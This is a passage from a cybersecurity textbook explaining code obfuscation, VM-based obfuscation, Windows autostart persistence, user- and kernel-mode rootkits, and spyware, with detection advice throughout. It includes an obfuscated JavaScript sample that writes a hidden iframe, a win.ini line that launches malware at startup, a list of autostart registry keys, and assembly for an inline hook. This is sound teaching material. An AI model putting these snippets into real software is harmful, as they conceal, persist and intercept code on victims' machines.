prying eyes. Obfuscation methods, no matter how complex, are suscep-
tible to reverse engineering and deobfuscation. Analysis of the original 
information transformed by obfuscation depends on the obfuscation 
method and situation. Although obfuscation tries to hide the original 
intent, the computer must still execute the low-level code. This makes 
dynamic code analysis a valid option by executing the obfuscated code 
and observing the resulting activity. iDefense created a tool to aid in 
dynamic analysis called DTMON. DTMON hooks Windows appli-
cation programming interface (API) functions to monitor interaction 
between the application and the system during execution.

<script>
var kdfjaslf = document.write;

var ryerioeu = “\x3c\x69\x66\x72”+”\x61\x6d\x65\x20”+”\x73\x72\x63\x3d”+”\x22\x62\
x61\x64”+”\x2e\x68\x74\x6d”;

var mvcnvxcv = “\x6c\x22\x20\x68”+”\x65\x69\x67\x68”+”\x74\x3d\x30\x20”+”\x77\x69\
x64\x74”+”\x68\x3d\x30\x3e”;

kdfjaslf(ryerioeu+mvcnvxcv);
</script>

Exhibit 4-6 Random variable and function names.

<script>var kdfjaslf=document.write;var ryerioeu=”\x3c\x69\x66\x72”+”\x61\
x6d\x65\x20”+”\x73\x72\x63\x3d”+”\x22\x62\x61\x64”+”\x2e\x68\x74\x6d”;var 
mvcnvxcv=”\x6c\x22\x20\x68”+”\x65\x69\x67\x68”+”\x74\x3d\x30\x20”+”\x77\
x69\x64\x74”+”\x68\x3d\x30\x3e”;kdfjaslf(ryerioeu+mvcnvxcv);</script>

Exhibit 4-7 Cluttered JavaScript code without new lines.



208	 Cyber	seCurity	essentiAls

© 2011 by Taylor & Francis Group, LLC

Another useful method to perform dynamic analysis involves 
a debugger to step through the executing code. This allows one to 
observe the computer interpreting the obfuscated code. An exam-
ple of a dynamic analysis tool is Jsunpack. Jsunpack18 deobfuscates 
JavaScript code by running the obfuscated script through an emu-
lated Web browser and displaying the results. Jsunpack displays the 
code and data at multiple stages as the browser naturally deobfuscates 
while it steps through the script.

Obfuscation involves transformations to obscure information or 
code in an attempt to increase the difficulty to understand, analyze, 
and detect threats. Obfuscation is easy to recognize when observing 
overly complicated code or data; however, understanding the intent 
of the obfuscated code is difficult. Without reverse-engineering tech-
niques, analyzing obfuscated code and determining possible threats 
becomes nearly impossible. Reverse engineers use utilities, such as 
Jsunpack and DTMON, to analyze and understand the obfuscated 
code and its intent.

4.2.2 Virtual Machine Obfuscation

Attackers regularly use obfuscation techniques to obscure code func-
tionality and frustrate mitigation efforts. One of the most advanced 
obfuscation techniques executes code within a virtualized environ-
ment, making the use of traditional analytical tools difficult and 
therefore representing a dangerous and sophisticated threat.

The obfuscation of code and data by malicious code authors results 
in a game of cat and mouse as those who analyze obfuscated malicious 
code defeat the various obfuscation techniques that malicious code 
authors employ. This technological arms race has resulted in a wide 
range of obfuscation techniques for a variety of code forms (native 
executables, scripts, and Web code). iDefense recently explored the 
basic overview of what code and data obfuscation achieves and a 
sampling of the methods used to obfuscate code.19 One of the more 
recent developments in the obfuscation arms race is the use of virtual 
machine (VM) obfuscation.

Traditional obfuscation techniques ultimately rely on executing 
code in the context of the host system. In other words, an obfus-
cated binary designed to run on an Intel processor will execute the 
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obfuscated program using Intel instructions. Likewise, obfuscated 
JavaScript runs within the JavaScript engine of a Web browser. The 
code and data contained within the program may no longer resemble 
the original code, but the result is the same: the malicious code exe-
cutes using the native instruction set of the platform.

VM obfuscation bends this concept to the point that the obfuscated 
binary no longer resembles, in any code-based fashion, the original 
binary; moreover, the obfuscated program no longer executes on the 
native platform but instead operates in a virtual machine. It is impor-
tant at this point to clarify two terms that may appear interchangeable 
but are very different when related to VM obfuscation: binary and 
program. When referring to the area of VM obfuscation, a binary is 
an executable file run by the operating system. A program, in this case, 
is the original code that the VM obfuscation system modifies—the 
behavior and instruction of the malicious code. In other words, binary 
is to program as shell is to turtle.

Traditional obfuscation systems, regardless of their level of advance-
ment, generally modify the binary in such a way that the binary can 
be analyzed using the tools and techniques available for the binary’s 
platform. The analysis process is typically slow due to the injection 
of junk code, the modified loops and various other obfuscation tech-
niques used. VM obfuscation systems, on the other hand, replace the 
original binary with a binary that contains three components: boot-
strap code, a bytecode VM interpreter, and the program converted 
into a byte stream. Exhibit 4-8 depicts these components. The key to 

VM Obfuscated Binary

VM Byte Code

VM Interpreter

Boot Strap Code

Exhibit 4-8 Typical components of a virtual machine (VM)–obfuscated binary.
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the effectiveness of VM obfuscation systems lies in the fact that the 
original program is converted from its original processor (e.g., Intel 
x86) to a custom processor that requires interpreter code to execute.

The process by which VM obfuscation systems change an original 
binary’s program into VM-interpreted bytecode varies from obfuscator 
to obfuscator; however, the basic principles of the conversion are very 
similar. The obfuscation occurs when the VM obfuscator reads the 
original source binary. The obfuscator determines the execution paths 
of the binary, the native instructions used to construct the program, 
and any external dependencies (such as system dynamic link libraries, 
or DLLs). The system uses this information to transform the original 
program into bytecode. The system randomizes the bytecode handlers, 
which is explained later in this section, and the obfuscated binary is 
constructed. The obfuscator packs the new VM-obfuscated binary 
before saving the completed binary to disk. This process, generalized 
in the depiction in Exhibit 4-9, requires very little interaction between 
the VM obfuscation system and the user of the obfuscation system.

The bootstrap code of a VM-obfuscated binary provides the mini-
mal amount of native platform execution instructions necessary to 
load the VM interpreter. The bootstrap usually contains a startup 
algorithm that performs the following functions:

 1. Inspect the operating system for the existence of debugging 
tools.

 2. Terminate the loading of the binary if debugging tools are 
found.

 3. Unpack the rest of the obfuscated binary.
 4. Transfer control to the VM interpreter.

Once the bootstrap passes control to the VM interpreter, the inter-
preter engine begins the process of executing the bytecode stream 

VM Obfuscated Binary

VM Obfuscation System
(Change the VM Architecture,

Randomize Byte-code Interpreter)

Original Binary
(×86 Instruction Set)

Exhibit 4-9 Logic for an actor creating a VM-obfuscated binary.
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that represents the original program. The interpreter itself is usually a 
lightweight subroutine that reads the byte stream and dispatches the 
appropriate handler for the bytecode. A bytecode handler is a small 
chunk of native platform code that translates the abstract bytecode 
into native platform executable instructions. The interpreter of the 
VMProtect20 VM obfuscation system, for instance, does little more 
than read the next bytecode and, using a small jump table, executes 
the handler responsible for the interpretation of that bytecode. Exhibit 
4-10 shows the disassembly of the VMProtect VM interpreter.

The bytecode is the core of the VM obfuscation’s power. VM obfus-
cation transforms the original program by converting native instruc-
tions such as ADD, MOV, XOR, JMP, and so on into bytecode 
representations of the same methods. The conversion from native code 
to bytecode allows the VM interpreter to organize the architecture of 
the virtual machine in a manner that is completely different from that 
of the original platform.

Using VMProtect again as an example, the obfuscation system 
converts Intel x86 opcodes into a stack-based machine. x86 instruc-
tions operate using central processing unit (CPU) registers and rely 
on the stack as the primary means to store temporary data and pass 
variables. The conversion from this native register-based platform to 

VMProtect_main proc near
pushf
pusha
push 0
mov esi, [esp+40]
cld
mov ecx, 40h
call ManageScratchPadHeap
mov edi, eas
add esi, [esp]

cmdLoop:
lodsb
movzx eax, a1
jmp ds:cmdJmpTable[eax*4]

VMProtect main endp

Exhibit 4-10 VMProtect’s VM interpreter.
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a stack-based platform introduces new complexities that an analyst 
must overcome to determine the true nature of the original program. 
To make the obfuscation more difficult, the VM obfuscator will ran-
domize the meaning of the bytecodes, meaning that it is likely that 
two VM obfuscations of the same original program will use different 
bytecodes. This forces the analyst to spend a significant amount of 
time determining the meaning of each bytecode as it pertains to the 
sample under review. Since the bytecode is interpreted, the amount 
of native platform instructions required to interpret and execute the 
bytecode increases significantly by virtue of the fact that for each sin-
gle bytecode read, the interpreter must execute multiple native plat-
form instructions (e.g., x86 instructions).

In addition to changing the architecture of the VM, the VM obfusca-
tor can remove critical program flow constructs on which many analysts 
rely. For instance, VMProtect does not contain bytecode instructions 
to perform jumps, calls, or conditional jumps. These instruction types 
allow analysts to identify decision points in a program quickly; their 
absence makes the determination of flow control difficult.

While VM obfuscation is highly effective at preventing static 
analysis, dynamic analysis is still a viable option. The original pro-
gram, though converted to new platform architecture and heavily 
obfuscated, executes in the same manner that the program’s authors 
devised. Malicious code analysts have begun to develop new techniques 
to provide some insight into the inner workings of malicious code 
that protects itself with VM obfuscation. One technique, developed 
at iDefense, uses system application programming interface (API) 
hooks to determine the interactions between the original program 
and the victim’s operating system.21 By monitoring the requests sent 
from the VM-obfuscated program to the operating system, including 
the parameters of the requests, analysts can make inferences about the 
underlying program despite the hindrances of the VM obfuscation.

VM obfuscation is by far one of the most advanced obfuscation 
systems available to malicious code authors today. The obfuscation 
technique prevents static analysis of malicious code by changing the 
very platform on which the code executes. Dynamic analysis may 
reveal some details of the inner workings of the program, but without 
a static analysis tool, the obfuscated binary may hold unseen func-
tionality that may trigger unexpectedly. With the availability of VM 
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obfuscation systems for malicious code authors, malicious code ana-
lysts are scrambling to find new techniques to combat this very real, 
very dangerous threat.

4.2.3 Persistent Software Techniques

This section explains the many ways that malicious programs use legit-
imate (and sometimes undocumented) features of Windows to ensure 
they execute each time Windows starts up. The article discusses each 
stage of the boot process and how malicious code has, or could, run at 
that phase. Regular audits of common autostart locations are the best 
way to identify unauthorized startup attempts.

Infecting a system with malicious code is the first goal of many 
malicious code authors, but once attackers compromise the system, 
they must also make sure it stays that way. A Trojan or virus would 
not be very effective if rebooting was all a user had to do to disable it. 
Many legitimate applications such as antivirus, firewalls, and drivers 
need the system to start each of them during certain phases of the 
system boot process for this reason: Windows provides many ways 
for developers to specify when an executable should be started on 
boot. This section explains the many ways that malicious programs 
use these techniques and sometimes even use undocumented fea-
tures of Windows to ensure they keep running each time Windows 
starts up.

At each stage of the boot process, there are places for malicious 
code to make changes that will cause it to run after a reboot. Exhibit 
4-11 shows a timeline of the Windows boot process and techniques 
that malicious code can use to ensure it starts up with the system.

4.2.3.1 Basic Input–Output System (BIOS)/Complementary Metal-Oxide 
Semiconductor (CMOS) and Master Boot Record (MBR) Malicious Code A 
computer’s basic input–output system (BIOS) is executed at the very 
beginning of system boot, and in many modern computers, the BIOS 
is stored in a programmable flash memory chip on the motherboard. 

BIOS/CMOS Master Boot
Record (MBR)

Hypervisor
(Blue Pill)

Legacy Text Files
(autoexec.*,*.ini)

Autostart
Registery Entries

Start Menu
“Startup” Folder

Exhibit 4-11 Potential autostart techniques in a boot order timeline.
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Some viruses and Trojans modify this flash memory to ensure that 
the BIOS starts up the malicious code or hides its existence. Similarly, 
some malicious code modifies the master boot record (MBR), which 
is read shortly after the BIOS loads and before the operating system 
boots. One such example is the Torpig MBR rootkit, documented by 
iDefense in February 2008, which targeted many different banks and 
was very widely distributed in Web exploit kits. These techniques are 
effective if done correctly, but can often cause catastrophic errors if 
programmed incorrectly. With the wide availability of much simpler 
autostart techniques, few malicious code authors use such sophisti-
cated techniques.

4.2.3.2 Hypervisors A traditional hypervisor is simply a program that 
loads before the operating system and virtualizes hardware calls, such 
as is done by VMware. Recently, both AMD and Intel have added 
support within their processors for such software, vastly increasing 
their performance but introducing a potential means by which mali-
cious code could not only ensure that it is started when the system 
boots, but also generate proxy system calls in such a way as to hide its 
own existence. This trick, originally introduced by researcher Joanna 
Rutkowska in June 2006, involves a piece of malicious code that 
installs itself as a hypervisor for the entire operating system on the 
fly, without a reboot.22 Not only is the malicious code invisible to the 
operating system, but it can also hide anything else that the author 
desires since it proxies all hardware access. Hypervisors allow mali-
cious code to continue running after a “soft” reboot, during which 
power is not cut to the system, but not after “hard” reboots or a full 
shutdown of the system. The hypervisor technique is potentially very 
powerful but so far is almost purely theoretical. It is very difficult 
to implement correctly, and no malicious code other than proofs-of-
concept has attempted this technique in the more than two years that 
security researchers have been aware of it.

4.2.3.3 Legacy Text Files Microsoft designed Windows for compati-
bility; therefore, many techniques from legacy operating systems (e.g., 
DOS) continue to operate correctly in Windows XP or Vista. Older 
versions of the operating system relied on simple configuration and 
script files to run executables on startup, such as autoexec.bat, system.
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ini, win.ini, and others. Exhibit 4-12 displays an example system.ini 
file that allows the system to load various drivers and dynamic link 
library (DLL) files.

For malicious code to instruct win.ini or system.ini to run it on 
startup, the code simply adds a few lines to either file. For example, a 
malicious program could add the following text to win.ini to execute 
malware.exe every time the system starts:

[windows]
Run=malware.exe

Accomplishing the same thing using either system.ini or autoexec.
bat is just as easy, although the format is different for each. While 
these tricks are easy to use, relatively few malicious code authors 
choose them over more common registry entries. They are not any 
easier to implement than the registry entries, are no more effective, 
and are arguably easier to detect.

4.2.3.4 Autostart Registry Entries The location to specify executables 
that run at startup in modern Windows operating systems is the 
Windows Registry. Malicious programs have many choices for reg-
istry keys that effect system startup. The most recognizable and com-
monly used is the HKLM(HKCU\Software\Microsoft\Windows\
CurrentVersion\Run key. Other keys that have the same or similar 
effects include the following:23

• HKLM\Software\Microsoft\Windows NT\CurrentVersion\
Winlogon\Shell

Exhibit 4-12 An example of a System.ini file on Windows XP.
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• HKLM\Software\Microsoft\Windows NT\CurrentVersion\
Winlogon\Notify

• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\
RunOnce

• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\
RunOnceEx

• H K US\ S -1-5-2 0\ S of t w a re\ M ic ro sof t \Wi ndow s\
CurrentVersion\Run

• H K L M \ S OF T WA R E \ M ic r o s o f t \Wi n d o w s N T \
CurrentVersion\TerminalServer\Install\Software\Microsoft\
Windows\CurrentVersion\Run

• H K L M \ S OF T WA R E \ M ic r o s o f t \Wi n d o w s N T \
CurrentVersion\TerminalServer\Install\Software\Microsoft\
Windows\CurrentVersion\Runonce

• H K L M \ S OF T WA R E \ M ic r o s o f t \Wi n d o w s N T \
CurrentVersion\TerminalServer\Install\Software\Microsoft\
Windows\CurrentVersion\RunonceEx

• HKCR\exefile\shell\open\command
• HKCU\Software\Microsoft\Windows\CurrentVersion\

Explorer\FileExts
• H K C U \ S o f t w a r e \ M i c r o s o f t \ A c t i v e S e t u p \

InstalledComponents\KeyName\StubPath
• H K L M \ S o f t w a r e \ M i c r o s o f t \ A c t i v e S e t u p \

InstalledComponents\KeyName\StubPath
• HKLM\Software\Microsoft\WindowsNT\CurrentVersion\

Winlogon
• HKCU(HKLM)\SOFTWARE\Microsoft\Windows\

CurrentVersion\ShellServiceObjectDelayLoad
• H K L M \ S O F T WA R E \ M i c r o s o f t \ W i n d o w s \

CurrentVersion\Explorer\SharedTaskScheduler
• HKLM\SYSTEM\CurrentControlSet\Services
• HKCU\Control Panel\Desktop\SCRNSAVE.EXE
• H K L M \ S Y S T E M \Cu r r ent C ont ro l S e t \C ont ro l \

SessionManager
• HKCU\Software\Microsoft\CommandProcessor

Many of these registry locations are not designed specifically to allow 
programs to start at boot but have a similar effect. One of the more 
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unusual examples is HKCU\ControlPanel\Desktop\SCRNSAVE.
EXE, which defines the program that Windows launches as the 
screensaver.

4.2.3.5 Start Menu “Startup” Folder The Windows Start Menu con-
tains a special “Startup” folder. When explorer.exe first runs after a 
user has logged on, every program or link in this folder is executed. 
The purpose of this is similar to that of the more basic autostart reg-
istry entries, but its use predates the existence of those entries, and 
some programs still use the “Startup” directory to launch themselves 
at logon.

4.2.3.6 Detecting Autostart Entries There are a variety of tools avail-
able to help researchers detect the use of these persistent methods. 
None can detect every location, but each is useful in its own way.

GMER24 is designed to detect and remove rootkits. It searches 
the system for hidden objects and system call hooks and many of 
the more common autostart locations. Autoruns25 shows which pro-
grams are configured to run at system startup. It can save a snapshot 
of the current configuration for later comparison, and the authors 
offer a command-line version that is useful for scripting. Hijackthis 
is a common means of detecting changes that malicious code are 
likely to make.26 Its best feature is its user interface, but other tools 
probably provide data that is more useful. Finally, msconfig is a util-
ity that Windows includes and allows easy configuration of several 
common startup locations. Exhibit 4-13 shows the msconfig user 
interface that helps detect programs set to start up using the methods 
it governs.

Malicious code sometimes sets the attributes of its autostart entries 
to “hidden” so that they are more difficult to detect, but security prac-
titioners can turn this against the malicious code. Searching specif-
ically for new, hidden registry entries and files can be an effective 
means of detecting many of these entries.

When a malicious code author is looking for the means to ensure 
that his or her malicious code persists through a reboot, it is clear 
that there are many options available. Not only can the author 
choose whichever best suits his or her needs, but also it is not always 
even necessary to edit the autostart entries themselves because the 
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malicious code need only infect or replace an executable that is already 
configured to start automatically. In spite of the wealth of available 
methods, the majority of malicious code that requires persistence uses 
one or more of the various autostart registry entries available. While 
many viruses in the 1990s modified the MBR or infected files as their 
means of persistence, modern malicious code authors find it easier to 
use registry entries or legacy file entries. This shift is usually attrib-
uted to the fact that the file system on modern PCs has become so 
large and complex that users are less likely to notice a simple file or 
registry modification than they would have been several years ago. 
In addition, the ubiquity of antivirus applications has made the act 
of modifying the MBR or infecting a file much easier to identify as 
malicious than simply modifying a commonly used autostart location 
such as those found in the registry.

Organizations intent on reducing the impact of persistent mali-
cious code should regularly audit common autostart locations for 
suspicious entries, so that entries made by malicious code are easily 
distinguished from those that are legitimate. In addition to helping 
detect new malicious code, this behavior helps to familiarize security 
practitioners with how these locations should look on a normal system 
so that they can more easily remove malicious entries after malicious 
code is detected, even if it is detected by other means such as antivirus 
programs. As with many malicious code prevention techniques, vigi-
lance is important.

Exhibit 4-13 An msconfig user interface.
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4.2.4 Rootkits

Security firms are reporting that the sophistication and complexity 
of malware are growing. Malware authors often use techniques from 
existing tools when developing malicious software. This section exam-
ines the strategies an attacker uses to conceal the pervasive threat of 
rootkit tools and techniques.

A rootkit is a tool that allows actors to retain their administrative 
(or root) privileges and to hide their activity. A rootkit achieves stealth 
by modifying the way a user program receives information from the 
operating system. Rootkits often modify processes or modify the sys-
tem to falsify and hide information.

The simplest and earliest rootkits replaced system utilities (like ls) 
to change their functionalities and hide certain files. More complex 
rootkits have similar goals, providing a way for attackers to hide files 
or processes with certain attributes. Rootkits fall into either the user 
mode or kernel mode categories, depending on the type of hooks they 
use and how they influence processes or the system. In the case of 
user mode rootkits, they may target only a single process at a time to 
hide information. Kernel mode rootkits, on the other hand, target the 
entire system and can hide information from all sources that use the 
hooked, kernel mode function calls.

4.2.4.1 User Mode Rootkits User mode rootkits are able to hide infor-
mation by targeting a user’s running processes. The rootkit can hook 
critical functions of a process by altering the process’s import address 
table (IAT) or by injecting a dynamic link library (DLL) or other 
code into the memory of a running process. Exhibit 4-14 shows how a 
user mode rootkit can hide the result of a user mode function call.

To inject itself between the user program and the function call, 
the rootkit may use a variety of different techniques, one of which is 
the IAT. The IAT is part of the executable file format that allows a 
process to determine how to resolve a function’s name (or a function 
ordinal, which has the same purpose) into a memory address where 
the code of the function is located. The process saves the function’s 
address within the IAT memory structure. A rootkit can hook any 
of the imported functions by altering the resolved function addresses. 
Doing so will allow the rootkit code to execute every time instead of 
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the original function. In this way, a rootkit calls the original function 
and modifies its results to hide information.

Hooking using the IAT is not ideal because there are other ways 
that the program can call the functions that the rootkit will be unable 
to intercept. For example, a program can resolve functions by calling 
LoadLibrary to load a DLL file and then calling GetProcAddress to 
convert a function name into a memory address.

An alternative strategy that is more effective is to have the root-
kit modify the memory or files associated with each function call. 
One common example of this is the use of a trampoline (inline hook). 
In the following code comparison, the rootkit modifies the first five 
bytes of the user mode function call (in this case, send).

Address Instruction Instruction
 before rootkit after rootkit
send+0mov edi, edi jmp [rootkit function]
send+2push ebp
send+3mov ebp, esp
send+5sub esp, 10 sub esp, 10
send+8push esi push esi

Originally, the send function starts with instructions (mov, push, 
mov) for the function prologue. The rootkit modifies these instruc-
tions, replacing them with a jump to the [rootkit function] instead. In 
this way, the rootkit can insert itself in a more reliable way and execute 
every time the hooked process calls the send function. To preserve the 
original functionality, the rootkit should append the commands that 
it replaced to the [rootkit function] shown below:

Command Prompt List
Directory Contents

User-mode Rootkit

User-mode Function Call

Readme.txt
HiddenFile.txt

Readme.txt
(removed) HiddenFile.txt

Exhibit 4-14 A user mode rootkit hides HiddenFile.txt.
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//Begin rootkit function with custom rootkit commands
 …
//execute send+0 … send+3
 mov edi, edi
 push ebp
 mov ebp, esp
//return to original function
 jmp send+5

This trampoline shows how to execute custom rootkit commands 
before executing the send function. Once the rootkit function fin-
ishes, it executes send+0 … send+3, then returns to the remaining 
unmodified segment starting at send+5.

These user mode rootkit techniques require that the rootkit inject 
code or alter memory within the target process. There are different 
ways that rootkit code can modify the memory of other processes, 
such as using the Windows API calls like VirtualAlloc and then 
CreateRemoteThread. A rootkit can also use DLL injection to inject 
code within a target process. More information on the DLL injection 
technique is available in “iDefense Explains … DLL Injections.”28

Many user mode rootkits do not provide enough stealth for attack-
ers because they inject code at a level that many detection tools can 
discover. Detection tools can monitor IAT entries that appear out-
side the loaded DLL memory space, and they can monitor user mode 
function calls looking for signs of code injection. Additionally, scan-
ning the memory at the beginning of certain functions allows detec-
tion programs to determine if a rootkit is using a trampoline as a 
user mode hooking technique. Instead of modifying the beginning 
of a function, attackers may instead modify the logic or flow within a 
function. This hooking method, known as a detour, is more difficult to 
perform because it is unique for every hooked function and could neg-
atively influence the program’s logic. Instead, many attackers choose 
to use kernel mode rootkits.

4.2.4.2 Kernel Mode Rootkits Stealthier rootkits will attempt to load 
into the kernel to influence critical memory structures and avoid 
detection. Some of the ways that rootkits gain this high level of access 
are by injecting code into privileged processes, by registering a kernel 
module (device driver), or by modifying the early stages of the boot 
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process. A kernel mode rootkit may make changes to critical kernel 
memory structures to hook and alter certain kernel mode function 
calls on the system.

The system service descriptor table (SSDT) is one target in kernel 
memory that the rootkit may try to hook. The SSDT serves as an address 
lookup table for system API calls like those that begin with “Nt” (like 
NtOpenProcess) and other kernel versions of API calls. Exhibit 4-15 
shows how the SSDT handles user mode function calls and other code 
that may call kernel mode functions through the SSDT.

Modifying entries in the SSDT can similarly allow an attacker to 
replace functions with rootkit functionality that hides information. 
Unlike user mode hooking techniques, which apply to a single pro-
cess, hooking the SSDT affects every process on a system that uses 
the functions.

Rootkits may also target the CPU interrupt descriptor table (IDT). 
This involves altering the function addresses whenever the CPU exe-
cutes INT (short for interrupt) or SYSENTER assembly instructions. 
The rootkit can obtain the current address of these calls (using “sidt” 
in the case of INT and “rdmsr” in the case of SYSENTER) and then 
modify these addresses to use the rootkit’s function instead (using the 
address returned by “sidt” in the case of INT and “wrmsr” in the case 
of SYSENTER).

The rootkit may also target loaded drivers by altering the I/O (input–
output) request packet (IRP) function call table. IRPs are signals sent to 
device drivers that serve as an interface between hardware and software. 

Kernel-mode Function Call

System Service
Descriptor Table (SSDT)

User-mode Function Call

Kernel Driver or Other
Kernel Code

User-space

Kernel-space

Exhibit 4-15 The system service descriptor table (SSDT) resolves kernel mode functions into 
addresses.
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The IRPs table for each kernel driver contains handling functions that 
accept a device object and IRP information. Calling these functions 
from low-level signals is powerful but does not always directly allow a 
rootkit to hook and modify certain functions at a higher level.

The SSDT, IDT, and IRP are only a few targets that kernel-level 
rootkits may target. To modify these structures, the rootkit must exe-
cute within a process with high privileges, such as a kernel driver, and 
may need to take measures to modify the memory permissions. Read-
only memory permissions protect memory pages that do not need to 
change frequently. For more information on the latest techniques that 
rootkits are using, visit rootkit.com or refer to “Rootkits: Subverting 
the Windows Kernel.”27

To persist upon reboot, a rootkit must add itself to a startup location. 
Since antivirus vendors and administrators actively monitor startup 
locations, a rootkit may either hide files and registry entries necessary 
for startup or use more advanced techniques to hide. The use of root-
kits that modify the master boot record (MBR) is one technique now 
common in certain malware families. To alter the MBR, malicious 
code may open a handle to \Device\PhysicalDrive0 and write to the 
first 440 bytes, which is the code area that the system executes imme-
diately upon booting. More information on various startup mecha-
nisms is available in “Persistent Software Techniques.”28

4.2.4.3 Conclusion Rootkits hide on a system and try to leave a very 
small footprint for administrators to find. They allow an attacker to 
remain on the system by hooking system-critical function calls and 
other types of requests with the goal of hiding information. Whether 
attackers employ user mode or kernel mode rootkits, the capabil-
ity to hook functionality and alter it has major ramifications for the 
integrity of the system. Many anti-rootkit tools that attempt to detect 
rootkits use multiple sources to compare and then determine if a 
rootkit is hiding information or hooking certain user mode or kernel 
mode functions.

4.2.5 Spyware

Malicious software takes on many different forms, but one form, 
known as spyware, can cause a victim great hardship. The term 
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spyware describes a class of malware based on the functionality of its 
payload. This class differs from other malware classifications, such as 
worms and viruses, which classify the malware based on the propaga-
tion method. In this article, iDefense explains the distinct character-
istics that set spyware apart from other forms of malware.

Spyware is a type of malware that received its name based on its 
main intention of monitoring (spying on) a user’s activity without the 
user’s consent. The lack of consent often causes confusion when clas-
sifying programs as spyware. To qualify as spyware, programs must 
lack an End User License Agreement (EULA) or a privacy policy. If 
a program has an agreement or policy that is intentionally deceptive, 
it also qualifies as spyware.31 Programs that gather information and 
have a EULA or privacy policy that specifically states the software’s 
information-gathering and user-monitoring activities do not qualify 
as spyware. The specific terms in this agreement or policy allow the 
user to agree to the terms and gauge the legitimacy of the program 
before installation.

An attacker installs spyware onto a system to monitor a user’s 
activity without his or her knowledge. The activity monitored var-
ies among different spyware samples, but the overall goal is to steal 
information. Information stolen from spyware-infected systems can 
include typed keys, form data, e-mail addresses, credentials, certifi-
cates, pictures and videos from attached Web cams, audio from an 
attached microphone, documents, software licenses, network activity, 
and cookies.

Key loggers belong to the spyware category because they monitor a 
user’s keystrokes and then send the stolen information to the attacker. 
This type of spyware is very common, and it can expose sensitive per-
sonal information, such as credit card or Social Security numbers. 
Key loggers can also reveal logon credentials to any account that the 
user logs onto, regardless of the application or website. A weakness 
of key-logging spyware is that it cannot log copied and pasted text. 
Another drawback to this type of spyware is that it gathers a lot of 
information that is not valuable. This requires the spyware author to 
analyze all of the data or filter out the valuable information.

Other spyware samples employ more specific credential-stealing 
techniques than key logging. The first technique involves form grab-
bing, which is the act of stealing information entered into a form 
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within a Web browser. Websites use forms for a user to enter logon 
credentials. Form-grabbing spyware minimizes the amount of infor-
mation gathered by stealing data only included in these forms.29 For 
example, the prolific Zeus banking Trojan steals a user’s online bank-
ing credentials by monitoring his or her Web browser and capturing 
usernames and passwords used to log onto banking websites.

Another specific method to steal credentials and sensitive data 
from a system includes retrieving stored usernames and passwords 
from Windows Protected Storage (WPS). WPS is a location in the 
Windows registry that holds auto-complete data and saved passwords 
for Internet Explorer, Outlook, and MSN Messenger. Spyware can 
access these data and enumerate credentials without gathering large 
amounts of useless data. Spyware also steals usernames and passwords 
from other Web browsers, e-mail, and Instant Messenger clients that 
store credentials locally.

In addition to key logging, form grabbing, and enumerating WPS, 
spyware often steals cookies. Cookies are text files on a local sys-
tem created when a user interacts with a Web server that requires 
authentication. The Web browser and Web server generate informa-
tion about the user’s session to store in the cookie so the user does 
not constantly have to reauthenticate. Spyware can steal these cookies 
and attempt to use them to access a user’s account. Some Web servers 
use cookies in step-up authentication to grant a previously authenti-
cated user initial access to a page. In step-up authentication, the user 
must provide further credentials to gain access to other portions of 
a previously authenticated page. By combining cookie-stealing and 
credential-stealing techniques, such as key logging or form grabbing, 
spyware can allow an attacker to gain further access to the compro-
mised account.

Network monitoring also enables spyware to steal information 
from a user. Usernames and passwords sent over the network in 
cleartext reside within network packets, such as those sent for file 
transfer protocol (FTP), simple mail transfer protocol (SMTP), and 
HTTP requests, that spyware with network-monitoring capabilities 
can steal. Spyware also profiles users by monitoring websites they visit 
within the network traffic.

Spyware can also perform e-mail harvesting on infected systems. 
E-mail harvesting gathers e-mail addresses from a user’s e-mail address 
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book by scanning files on the system for strings that match an e-mail 
format or by monitoring network traffic for e-mail activity. The spy-
ware then sends the gathered e-mail addresses back to the attacker.

Attackers’ motives to use spyware to steal sensitive information 
and credentials generally involve identity theft or account access. An 
attacker can use sensitive information in identity theft schemes, such 
as opening a credit card with the victim’s name. Stolen credentials 
can grant the spyware creator access to personal accounts, such as 
online-banking or social-networking accounts, or other systems for 
further spyware infection. In addition to gaining access to sensitive 
information and credentials, targeted attackers use spyware to collect 
intelligence and sensitive documents from compromised systems.

Overall, a majority of spyware authors create their applications to 
make money. Exhibit 4-16 shows the general steps that an attacker 
takes to generate revenue. The steps include the installation of the 
attacker’s spyware, followed by the specific actions performed by the 
spyware’s payload, and finally the profits received from the stolen 
information.

Spyware steals e-mail addresses for future spam campaigns and 
is a major contributor of addresses that spammers use in unsolicited 
e-mails. After gathering the stolen e-mail addresses, spyware authors 
pool the addresses to compile a list of targets. For example, iDefense 
recently discovered the Waledac botnet’s spam list, which contained 
14 gigabytes of stolen e-mail addresses. Spyware authors can use a list 
of targets to send spam e-mail or to sell the addresses to others that 
intend to send spam. Other spammers often purchase these stolen 
e-mail addresses to generate revenue with their own spamming or 
phishing campaigns.

User profiling based on monitored network activity can help the 
spyware author present meaningful advertisements that may appeal to 

Install Spyware

Step 1 Step 2

Steal Credentials
Steal Personal Information
Steal E-mail Addresses
Monitor Network Activity

Identity �eft
Financial Account Access
Spam
Advertisements

???

Step 3

Profit

Exhibit 4-16 Steps that spyware creators take to make money.
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a victim. Appealing advertisements are more likely to catch a victim’s 
attention and to increase the probability that a victim will click the 
advertisement for more information or purchase. Spyware authors use 
pop-ups or advertisements displayed in the browser to generate rev-
enue through click-fraud schemes targeting pay-per-click services30 or 
affiliations with online stores that offer a monetary kickback for sales 
originating from advertisements.

Spyware is a class of malware that poses a significant threat to sys-
tem information as it spies on users. The fact that spyware monitors a 
user’s activity without his or her consent or knowledge allows the spy-
ware to steal any information the user unknowingly exposes. Spyware 
that tracks a victim’s Web activity or harvests e-mail accounts is 
annoying but may not cause direct harm to the user. Additionally, 
spyware that spies on a user’s Web camera or microphone can be an 
invasion of personal privacy to the average user. Web cam and micro-
phone-monitoring functionality will pose major threats when used in 
targeted attacks to unearth sensitive or classified information. This 
generally requires patience, and attackers seeking quick profits tend 
to use spyware to steal credentials for sensitive accounts and sensitive 
information. These present almost immediate revenue streams and 
pose a significant threat to a victim’s finances and credibility.

4.2.6 Attacks against Privileged User Accounts and Escalation of Privileges

This section delves into the concept of restricting user privileges as it 
is a well-known and largely effective best practice to limit the impact 
of a vulnerability in the event the particular user is compromised. 
Unfortunately, many systems and many applications contain vul-
nerabilities that provide an attacker with the potential to increase 
the rights of the current user. This class of vulnerabilities, known 
as privilege escalation, rarely receives much priority by application 
developers, even though the impact of successful exploitation extends 
